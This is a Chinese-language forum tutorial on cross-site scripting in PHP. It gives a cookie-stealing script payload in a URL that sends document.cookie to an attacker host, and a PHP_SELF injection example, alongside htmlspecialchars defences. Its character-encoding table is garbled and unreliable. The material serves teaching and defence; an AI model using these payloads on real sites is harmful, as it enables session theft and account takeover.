PHP漏洞全解(4)-xss跨站脚本攻击
3571 点击·0 回帖
![]() | ![]() | |
![]() | XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS 跨站脚本主要被攻击者利用来读取网站用户的cookies或者其他个人数据,一旦攻击者得到这些数据,那么他就可以伪装成此用户来登录网站,获得此用户的权限。 跨站脚本攻击的一般步骤: 1、攻击者以某种方式发送xss的http链接给目标用户 2、目标用户登录此网站,在登陆期间打开了攻击者发送的xss链接 3、网站执行了此xss攻击脚本 4、目标用户页面跳转到攻击者的网站,攻击者取得了目标用户的信息 5、攻击者使用目标用户的信息登录网站,完成攻击 图片:56_3710_9e512e02f27fc2d.jpg ![]() 当 有存在跨站漏洞的程序出现的时候,攻击者可以构造类似 http://www.sectop.com/search.php?key=<script>document.location='http://www.hack.com/getcookie.php?cookie='+document.cookie;</script> ,诱骗用户点击后,可以获取用户cookies值 防范方法: 利用htmlspecialchars函数将特殊字符转换成HTML编码 函数原型 string htmlspecialchars (string string, int quote_style, string charset) string 是要编码的字符串 quote_style 可选,值可为ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,默认值ENT_COMPAT,表示只转换双引号不转换单引号。 ENT_QUOTES,表示双引号和单引号都要转换。ENT_NOQUOTES,表示双引号和单引号都不转换 charset 可选,表示使用的字符集 函数会将下列特殊字符转换成html编码: ; ----> ; " ----> " ' ----> ' < ----> < > ----> > $_SERVER["PHP_SELF"]变量的跨站 在某个表单中,如果提交参数给自己,会用这样的语句 <form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST"> ...... </form> $_SERVER["PHP_SELF"]变量的值为当前页面名称 例: http://www.sectop.com/get.php get.php中上述的表单 那么我们提交 http://www.sectop.com/get.php/"><script>alert(document.cookie);</script> 那么表单变成 <form action="get.php/"><script>alert(document.cookie);</script>" method="POST"> 跨站脚本被插进去了 防御方法还是使用htmlspecialchars过滤输出的变量,或者提交给自身文件的表单使用 <form action="" method="post"> 这样直接避免了$_SERVER["PHP_SELF"]变量被跨站 下一期 SQL注入攻击 | |
![]() | ![]() |